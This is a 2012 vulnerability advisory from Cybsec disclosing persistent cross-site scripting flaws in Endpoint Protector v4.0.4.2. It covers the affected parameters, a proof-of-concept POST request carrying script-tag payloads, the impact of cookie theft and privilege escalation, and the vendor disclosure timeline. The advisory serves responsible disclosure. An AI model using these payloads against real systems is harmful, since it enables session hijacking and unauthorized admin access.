137 lines
No EOL
5.7 KiB
Text
137 lines
No EOL
5.7 KiB
Text
Advisory Name: Multiple Persistent Cross-Site Scripting (XSS) in Endpoint
|
||
Protector
|
||
|
||
Internal Cybsec Advisory Id: 2012-1029-Multiple Persistent XSS in Endpoint
|
||
Protector
|
||
|
||
Vulnerability Class: Permanent Cross-Site Scripting (XSS)
|
||
|
||
Release Date: 10/29/2012
|
||
|
||
Affected Applications: Endpoint Protector v4.0.4.2; other versions may
|
||
also be affected.
|
||
|
||
Affected Platforms: Any running Endpoint Protector v4.0.4.2
|
||
|
||
Local / Remote: Remote
|
||
|
||
Severity: High <20> CVSS: 5.8 (AV:N/AC:M/Au:NR/C:N/I:P/A:P)
|
||
|
||
Researcher: Juan Manuel Garcia
|
||
|
||
Vendor Status: Acknowedged / Unpatched
|
||
|
||
Reference to Vulnerability Disclosure Policy:
|
||
http://www.cybsec.com/vulnerability_policy.pdf
|
||
|
||
Vulnerability Description:
|
||
Multiple Persistent Cross-Site vulnerabilities were found in Endpoint Protector v4.0.4.2 [Virtual
|
||
Appliance], because the application fails to sanitize the response before it is returned to the user.
|
||
This can be exploited to execute arbitrary script and HTML code in a user's browser session. This may
|
||
allow the attacker to steal the user's cookie and to launch further attacks.
|
||
The parameters "client_device[name]" and "client_device[description]" in /index.php/clientdevice/create are not properly sanitized.
|
||
|
||
The parameters "client_machine[name]", "client_machine[domain]","client_machine[workgroup]" and "client_machine[location]" in /index.php/clientmachine/create are not properly sanitized.
|
||
The parameter "group[name]" in /index.php/mgroup/create is not properly sanitized.
|
||
|
||
Other parameters might also be affected.
|
||
|
||
Proof of Concept:
|
||
* The parameter "client_device[name]" in the POST request has been set to:
|
||
<script>alert(document.cookie)</script>
|
||
* The parameter "client_device[description]" in the POST request has been
|
||
set to:
|
||
<script>alert(1)</script>
|
||
POST /index.php/clientdevice/create HTTP/1.1
|
||
Host: xxx.xxx.xxx.xxx
|
||
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:11.0)
|
||
Gecko/20100101 Firefox/11.0
|
||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||
Accept-Language: en-us,en;q=0.5
|
||
Accept-Encoding: gzip, deflate
|
||
Connection: keep-alive
|
||
Referer: https://xxx.xxx.xxx.xxx/index.php/
|
||
Cookie: place=clientdevice; mark=clientdevice;
|
||
ratool=d4d3242c4444254d035b7f797738837e
|
||
Content-Type: multipart/form-data; boundary=---------------------------
|
||
17723440641777718806882422624
|
||
Content-Length: 1131
|
||
-----------------------------17723440641777718806882422624
|
||
Content-Disposition: form-data; name="id"
|
||
-----------------------------17723440641777718806882422624
|
||
Content-Disposition: form-data; name="client_device[department_id]"
|
||
1
|
||
-----------------------------17723440641777718806882422624
|
||
Content-Disposition: form-data; name="client_device[device_type_id]"
|
||
1
|
||
-----------------------------17723440641777718806882422624
|
||
Content-Disposition: form-data; name="client_device[name]"
|
||
<script>alert(document.cookie)</script>
|
||
-----------------------------17723440641777718806882422624
|
||
Content-Disposition: form-data; name="client_device[description]"
|
||
<script>alert(1)</script>
|
||
-----------------------------17723440641777718806882422624
|
||
Content-Disposition: form-data; name="client_device[vid]"
|
||
-----------------------------17723440641777718806882422624
|
||
Content-Disposition: form-data; name="client_device[pid]"
|
||
-----------------------------17723440641777718806882422624
|
||
Content-Disposition: form-data; name="client_device[serialno]"
|
||
-----------------------------17723440641777718806882422624--
|
||
|
||
Impact:
|
||
An affected user may unintentionally execute scripts or actions written by
|
||
an attacker. In addition, an
|
||
attacker may obtain authorization cookies that would allow him to gain
|
||
unauthorized access to the
|
||
application.
|
||
In this particular case, any user with permission to access the
|
||
administration console could gain "super
|
||
admin" privileges by stealing the session cookie of another user with this
|
||
permission.
|
||
Vendor Response:
|
||
2012/03/27 - Vulnerability was identified
|
||
2012/03/29 - Cybsec sent detailed information on the issue and a Proof of
|
||
Concept to the vendor
|
||
2012/04/04 - Vendor confirmed vulnerability (Request ID - 10006599) and
|
||
stated <20>The problems
|
||
encountered do not represent a significant threat for customers using it
|
||
because it is usually done with
|
||
no Internet connection<6F>
|
||
2012/04/05 - Vendor stated <20>we planned an official release of the new
|
||
patch to include all the fixes for
|
||
mentioned vulnerabilities for the date of 18 of September 2012<31>
|
||
2012/09/25 <20> Cybsec asked the vendor if the update had been released on
|
||
the planed date
|
||
2012/09/26 <20> Vendor stated that he would check the status of the report
|
||
[Ticket#2012092510000057]
|
||
2012/10/03 <20> Vendor gave us a new deadline: up to 3-4 months.
|
||
2012/10/24 <20> Vendor asked if we had published the security advisory
|
||
2012/10/24 <20> Cybsec stated that the security advisory was going to be
|
||
published on October 29
|
||
2012/10/29 <20> Vulnerability was released
|
||
|
||
Contact Information:
|
||
For more information regarding the vulnerability feel free to contact the
|
||
researcher at
|
||
jmgarcia <at> cybsec <dot> com
|
||
|
||
About CYBSEC S.A. Security Systems
|
||
Since 1996, CYBSEC is engaged exclusively in rendering professional
|
||
services specialized in
|
||
Information Security. Their area of services covers Latin America, Spain
|
||
and over 250 customers are a
|
||
proof of their professional life.
|
||
|
||
To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is
|
||
associated with other
|
||
software and/or hardware provider companies.
|
||
Our services are strictly focused on Information Security, protecting our
|
||
clients from emerging security
|
||
threats, maintaining their IT deployments available, safe, and reliable.
|
||
|
||
Beyond professional services, CYBSEC is continuously researching new
|
||
defense and attack techniques
|
||
and contributing with the security community with high quality information
|
||
exchange.
|
||
For more information, please visit www.cybsec.com
|
||
(c) 2010 - CYBSEC S.A. Security Systems |